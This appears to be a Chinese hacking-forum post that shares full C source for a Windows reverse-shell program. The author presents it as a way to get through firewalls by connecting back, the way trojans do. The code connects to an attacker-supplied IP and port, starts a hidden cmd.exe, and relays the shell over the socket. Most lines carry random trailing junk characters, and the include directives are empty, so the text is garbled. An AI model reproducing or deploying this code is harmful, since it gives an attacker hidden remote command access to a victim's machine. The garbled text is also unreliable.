这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。
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/* ============================== MB7UI8
Rebound port in Windows NT ~6{iQZa1Y
By wind,2006/7 6HroKu
===============================*/ 9S'u1%
#include 6U .A/8z
#include *Bfo"["0.
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#pragma comment(lib,"wsock32.lib") /80H.|8O
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void OutputShell(); zM+4<k_dH]
SOCKET sClient; Ibf~gr(j
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1O#]qZS}]
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void main(int argc,char **argv) mJxr"cwHl
{ (vX)
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WSADATA stWsaData; Zv]'9,cbk
int nRet; M)x6m|.=
SOCKADDR_IN stSaiClient,stSaiServer; 0Q7teXRM
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if(argc != 3) v~8CpC
{ 8F>u6Y[P
printf("Useage:\n\rRebound DestIP DestPort\n"); @}, |i*H/
return; R*[X. H
} 9Lus,l\
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WSAStartup(MAKEWORD(2,2),&stWsaData); N5PW]
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ky0}phGRu
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stSaiClient.sin_family = AF_INET; ^VC/tJ
stSaiClient.sin_port = htons(0); # &,W x
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1NAGGr00
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 18^#:=Z
{ U
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printf("Bind Socket Failed!\n"); ?F6L,
return; r` B(ucE
} V`
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stSaiServer.sin_family = AF_INET; OV
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^4b;rLfk@
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -9]
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) z*a-=w0
{ z@g%9|U
printf("Connect Error!"); &k@\k<2Ia
return; 3"BSP3/[l
} ~'V&[]nh8
OutputShell(); 0OXl`V`w
} A"e4w?
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void OutputShell() YdZ9##IU3
{ #<LJns\t
char szBuff[1024]; ?gsPHP US
SECURITY_ATTRIBUTES stSecurityAttributes; j.&Y'C7GOC
OSVERSIONINFO stOsversionInfo; KuRJo]
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /7 8zs-
STARTUPINFO stStartupInfo; ;J@U){R
char *szShell; KqN;a i,F
PROCESS_INFORMATION stProcessInformation; 4U8N7
unsigned long lBytesRead; uTdx`>M,O
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); o;9 G{Xj3@
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Y{Ff I+
stSecurityAttributes.lpSecurityDescriptor = 0; 9u6VN]divB
stSecurityAttributes.bInheritHandle = TRUE; 3'Hz,qP
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); n^q%_60H
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); qyBC1an5,
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %[4u #G`
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
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stStartupInfo.wShowWindow = SW_HIDE; 4tEAi4H|`@
stStartupInfo.hStdInput = hReadPipe; NXk~o!D
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; F pT$D
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GetVersionEx(&stOsversionInfo); dWx@<(`OC
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switch(stOsversionInfo.dwPlatformId) HUAbq }
{ 3(Ns1/;?,
case 1: '3w%K+eJY
szShell = "command.com"; 5hHLC7tT9
break; 3ey.r%n
default: .=)[S5.BVq
szShell = "cmd.exe"; abAw#XQ8
break; RWRqu }a
} 1V wcJd
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 'yosDT2{#
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send(sClient,szMsg,77,0); C2aA])7D
while(1) **\?-*c=U
{ p+pu_T;~
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); dVPY07P
if(lBytesRead) K.=5p/^a
{ =van<l4b#n
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); y"Pd>61h
send(sClient,szBuff,lBytesRead,0); K5rra%a-7
} F( 4Ue6R
else `g_r<EY8/
{ m^\&v0
lBytesRead=recv(sClient,szBuff,1024,0); A/"<o5(T(P
if(lBytesRead<=0) break; Y_}_)nE@m
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); G!`PP
} 9[`c"Pd
} Lu~E5 ,
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return; ;[79Ewd#$
}